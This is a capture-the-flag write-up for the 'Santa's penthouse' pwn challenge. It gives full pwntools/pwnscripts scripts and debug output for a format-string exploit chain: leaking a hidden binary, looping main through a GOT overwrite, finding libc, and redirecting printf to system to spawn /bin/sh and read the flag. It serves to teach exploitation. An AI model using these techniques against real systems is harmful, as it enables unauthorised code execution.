Tags: fmtstr pwnscripts waiting_for_sixteen_hours
Rating:
SOLVED (Osmium Award!)
Bringing happiness and joy is a profitable business. So lucrative that Santa has amassed enough wealth to start bulding a brand new penthouse. Let's hope he finishes it before New Year's.
Target: nc challs.xmas.htsp.ro 2006
Author: PinkiePie1189
Files: chall
pwnscripts
assisted greatly in handling the format string exploits here. Try it!The binary has 3 options, each of which can only be used once.
leave_message()
). This message is piped to printf()
in a limited format string bug, where %n
writes are banned.take_gift()
). This takes the contents of the remote file secret
and dumps it into heap memory, with its location provided to the user as a %p
pointer.exit(0)
.As far as I'm aware, leave_message()
is impossible to exploit. As a result, I choose to leak out the contents of secret
with a %s
printf()
call.
from pwnscripts import *
context.binary = 'santa_penthouse'
def printf(s:bytes):
r = remote('challs.xmas.htsp.ro', 2006)
r.sendlineafter('Exit.\n', '1')
r.sendafter('Santa?\n', s)
r.recvuntil('message: ')
return r.recvline()
offset = fsb.find_offset.buffer(printf, 200)
def leakfrom(dist:int):
r = remote('challs.xmas.htsp.ro', 2006)
r.sendlineafter('Exit.\n', '2')
secret = unpack_hex(r.recvline())
r.sendlineafter('Exit.\n', '1')
log.info(repr(b'leaking ' + hex(secret+dist).encode() + b' i.e. ' + pack(secret+dist)))
r.sendlineafter('Santa?\n', fsb.leak.deref_payload(offset, [secret+dist]))
r.recvuntil('message: ')
secret_data, = fsb.leak.deref_extractor(r.recvline())
r.close()
return secret_data+b'\0'
print(leakfrom(0))
This leads to the disturbing discovery that secret
is an entire ELF:
[+] Opening connection to challs.xmas.htsp.ro on port 2006: Done
[*] pwnscripts.fsb.find_offset for buffer: 8
[+] Opening connection to challs.xmas.htsp.ro on port 2006: Done
[*] b'leaking 0x5609f89464c0 i.e. \xc0d\x94\xf8\tV\x00\x00'
[*] Closed connection to challs.xmas.htsp.ro port 2006
b'\x7fELF\x02\x01\x01\x00'
Leaking the entire thing requires a shit ton of time if we're going to do it with printf()
alone.
with open('secret', 'r+b') as f:
written = 0 # replace this if the script terminates halfway for whatever reason
f.seek(written)
while 1:
log.info('leaking from %d' % written)
try: data = leakfrom(written)
except EOFError: continue
written += len(data)
f.write(data)
f.flush()
Leaving this program running, I left to do some other challenges. Once the downloaded data matched (around) the size of ./chall
, the file was essentially valid for analysis:
$ file secret
secret: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped
secret
$ checksec secret
[*] '/secret'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Unlike the previous binary, stack canaries and PIE are disabled.
In the secret binary, I spy these `strings`:
$ strings secret
...
GumaTurbo123!
Access granted! Filters disabled!
Check out port 14712
...
It looks like GumaTurbo123!
is a password for the service at 14712 (I tried putting it as a password for the original service at port 2006 too — no dice). Let's try that.
$ nc challs.xmas.htsp.ro 14712
GumaTurbo123!
Access granted! Filters disabled!
Check out port 14712
%p
0x7ffe39c01c60
Although I've not proven anything yet, this service probably provides an unrestricted printf()
call.
The code within secret
main()
was a little bit broken in transmission, but after patching a few bytes, I'm able to verify that claim:
void main() {
char s[264]; // [rsp+0h] [rbp-110h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
fgets(s, 255, stdin);
if ( memcmp(s, "GumaTurbo123!", 0xFuLL) )
exit(0);
puts("Access granted! Filters disabled!");
puts("Check out port 14712");
fflush(stdout);
fgets(s, 255, stdin);
printf(s);
exit(0);
}
Since the GOT table is still writable, I made a basic payload to overwrite exit()
with main()
, forming a loop:
from pwnscripts import *
context.binary = 'secret'
context.binary.symbols['main'] = 0x401176
context.log_level = 'debug'
def printf(s):
r = remote('challs.xmas.htsp.ro', 14712)
r.sendline('GumaTurbo123!')
r.sendafter('14712\n', s)
return r.recvall()
offset = fsb.find_offset.buffer(printf,50)
r = remote('challs.xmas.htsp.ro', 14712)
def cycle(s, until=None):
r.sendline('GumaTurbo123!')
r.sendlineafter('14712\n', s)
if until is None: return None
return r.recvuntil(until)
cycle(fmtstr_payload(offset, {context.binary.got['exit']: context.binary.symbols['main']}),b'a')
r.interactive()
This clearly works on testing:
[DEBUG] Received 0x16 bytes:
b'\n'
b'Check out port 14712\n'
[DEBUG] Sent 0x41 bytes:
00000000 25 31 31 38 63 25 31 31 24 6c 6c 6e 25 31 35 35 │%118│c%11│$lln│%155│
00000010 63 25 31 32 24 68 68 6e 25 34 37 63 25 31 33 24 │c%12│$hhn│%47c│%13$│
00000020 68 68 6e 61 61 61 61 62 40 40 40 00 00 00 00 00 │hhna│aaab│@@@·│····│
00000030 41 40 40 00 00 00 00 00 42 40 40 00 00 00 00 00 │A@@·│····│B@@·│····│
00000040 0a │·│
00000041
[DEBUG] Received 0x148 bytes:
00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000070 20 20 20 20 20 10 20 20 20 20 20 20 20 20 20 20 │ │ · │ │ │
00000080 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000110 d0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │· │ │ │ │
00000120 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
00000130 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 51 │ │ │ │ Q│
00000140 61 61 61 61 62 40 40 40 │aaaa│b@@@│
00000148
[*] Switching to interactive mode
aaab@@@$ GumaTurbo123!
[DEBUG] Sent 0xe bytes:
b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
b'Access granted! Filters disabled!'
With infinite printf()
abuse available, all we really need to do is to return to libc's system()
for the flag.
I started by determining the libc version with the dev branch of pwnscripts + libc-database:
context.libc_database = 'libc-database'
GOT_FUNCS = ['puts','setvbuf']
addr_bytes = fsb.leak.dereference(printf, offset, [context.binary.got[f] for f in GOT_FUNCS])
libc_addrs = dict(zip(GOT_FUNCS,map(lambda b: unpack_bytes(b,6), addr_bytes)))
context.libc = context.libc_database.libc_find(libc_addrs)
This part of the code runs on a second remote connection, and doesn't affect the previous connected remote()
.
[+] Opening connection to challs.xmas.htsp.ro on port 14712: Done
[DEBUG] Sent 0xe bytes:
b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
b'Access granted! Filters disabled!'
[DEBUG] Received 0x16 bytes:
b'\n'
b'Check out port 14712\n'
[DEBUG] Sent 0x29 bytes:
00000000 5e 5e 25 39 24 73 7c 7c 25 31 30 24 73 24 24 00 │^^%9│$s||│%10$│s$$·│
00000010 19 19 19 19 19 19 19 19 18 40 40 00 00 00 00 00 │····│····│·@@·│····│
00000020 38 40 40 00 00 00 00 00 0a │8@@·│····│·│
00000029
[+] Receiving all data: Done (18B)
[DEBUG] Received 0x12 bytes:
00000000 5e 5e a0 1a 2c be 2c 7f 7c 7c d0 23 2c be 2c 7f │^^··│,·,·│||·#│,·,·│
00000010 24 24 │$$│
00000012
[*] Closed connection to challs.xmas.htsp.ro port 14712
[*] found libc! id: libc6_2.27-3ubuntu1.3_amd64
I could've probably guessed that libc id from other challenges, but whatever, I have it now.
On the actual original remote()
, one cycle()
is used to leak libc from the GOT, and another is used to overwrite printf()
with libc system()
at the GOT. Once that's done, the next cycle will run system()
on whatever the input format string is, which I'll set to be "/bin/sh"
.
puts, = fsb.leak.dereference(lambda s: cycle(s,b'$$'), offset, [context.binary.got['puts']])
context.libc.calc_base('puts', unpack_bytes(puts,6))
cycle(fmtstr_payload(offset, {context.binary.got['printf']: context.libc.symbols['system']}),b'a')
cycle('/bin/sh\0')
r.interactive()
[DEBUG] Sent 0x1a bytes:
00000000 5e 5e 25 38 24 73 24 24 00 19 19 19 19 19 19 19 │^^%8│$s$$│····│····│
00000010 18 40 40 00 00 00 00 00 0a 0a │·@@·│····│··│
0000001a
[DEBUG] Received 0xa bytes:
00000000 5e 5e a0 6a 2a 40 a1 7f 24 24 │^^·j│*@··│$$│
0000000a
[DEBUG] Sent 0xe bytes:
b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
b'Access granted! Filters disabled!'
[DEBUG] Received 0x16 bytes:
b'\n'
b'Check out port 14712\n'
[DEBUG] Sent 0x79 bytes:
00000000 25 38 30 63 25 31 35 24 6c 6c 6e 25 35 63 25 31 │%80c│%15$│lln%│5c%1│
00000010 36 24 68 68 6e 25 34 32 63 25 31 37 24 68 68 6e │6$hh│n%42│c%17│$hhn│
00000020 25 33 34 63 25 31 38 24 68 68 6e 25 31 33 34 63 │%34c│%18$│hhn%│134c│
00000030 25 31 39 24 68 68 6e 25 32 35 63 25 32 30 24 68 │%19$│hhn%│25c%│20$h│
00000040 68 6e 61 61 61 61 62 61 20 40 40 00 00 00 00 00 │hnaa│aaba│ @@·│····│
00000050 21 40 40 00 00 00 00 00 25 40 40 00 00 00 00 00 │!@@·│····│%@@·│····│
00000060 24 40 40 00 00 00 00 00 22 40 40 00 00 00 00 00 │$@@·│····│"@@·│····│
00000070 23 40 40 00 00 00 00 00 0a │#@@·│····│·│
00000079
[DEBUG] Received 0x149 bytes:
00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000040 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 │ │ │ │ p│
00000050 20 20 20 20 d0 20 20 20 20 20 20 20 20 20 20 20 │ │· │ │ │
00000060 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
00000070 20 20 20 20 20 20 20 20 20 20 20 20 20 20 51 20 │ │ │ │ Q │
00000080 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
000000a0 c0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │· │ │ │ │
000000b0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000120 20 20 20 20 20 20 c0 20 20 20 20 20 20 20 20 20 │ │ · │ │ │
00000130 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 25 │ │ │ │ %│
00000140 61 61 61 61 62 61 20 40 40 │aaaa│ba @│@│
00000149
[DEBUG] Sent 0xe bytes:
b'GumaTurbo123!\n'
[DEBUG] Received 0x21 bytes:
b'Access granted! Filters disabled!'
[DEBUG] Received 0x16 bytes:
b'\n'
b'Check out port 14712\n'
[DEBUG] Sent 0x9 bytes:
00000000 2f 62 69 6e 2f 73 68 00 0a │/bin│/sh·│·│
00000009
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x2d bytes:
b'bin\n'
b'dev\n'
b'flag.txt\n'
b'fmt_string\n'
b'lib\n'
b'lib64\n'
b'secret\n'
bin
dev
flag.txt
fmt_string
lib
lib64
secret
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
That wraps things up.
X-MAS{1_4m_n07_sl4ck1ng_0ff_1_4m_jus7_w41t1ng_f0r_th3_b1n4ry_t0_b3_l34k3d}
from pwnscripts import *
context.binary = 'secret'
context.binary.symbols['main'] = 0x401176 # extremely unfortunate hardcoded value
context.libc_database = 'libc-database'
# pre-remote probing
def printf(s):
r = remote('challs.xmas.htsp.ro', 14712)
r.sendline('GumaTurbo123!')
r.sendafter('14712\n', s)
return r.recvall()
offset = fsb.find_offset.buffer(printf,50)
GOT_FUNCS = ['puts','setvbuf']
addr_bytes = fsb.leak.dereference(printf, offset, [context.binary.got[f] for f in GOT_FUNCS])
libc_addrs = dict(zip(GOT_FUNCS,map(lambda b: unpack_bytes(b,6), addr_bytes)))
context.libc = context.libc_database.libc_find(libc_addrs)
# loop over main()
r = remote('challs.xmas.htsp.ro', 14712)
def cycle(s, until=None):
r.sendline('GumaTurbo123!')
r.sendlineafter('14712\n', s)
if until is None: return None
return r.recvuntil(until)
cycle(fmtstr_payload(offset, {context.binary.got['exit']: context.binary.symbols['main']}),b'a')
# return to libc
puts, = fsb.leak.dereference(lambda s: cycle(s,b'$$'), offset, [context.binary.got['puts']])
context.libc.calc_base('puts', unpack_bytes(puts,6))
cycle(fmtstr_payload(offset, {context.binary.got['printf']: context.libc.symbols['system']}),b'a')
cycle('/bin/sh\0')
r.interactive()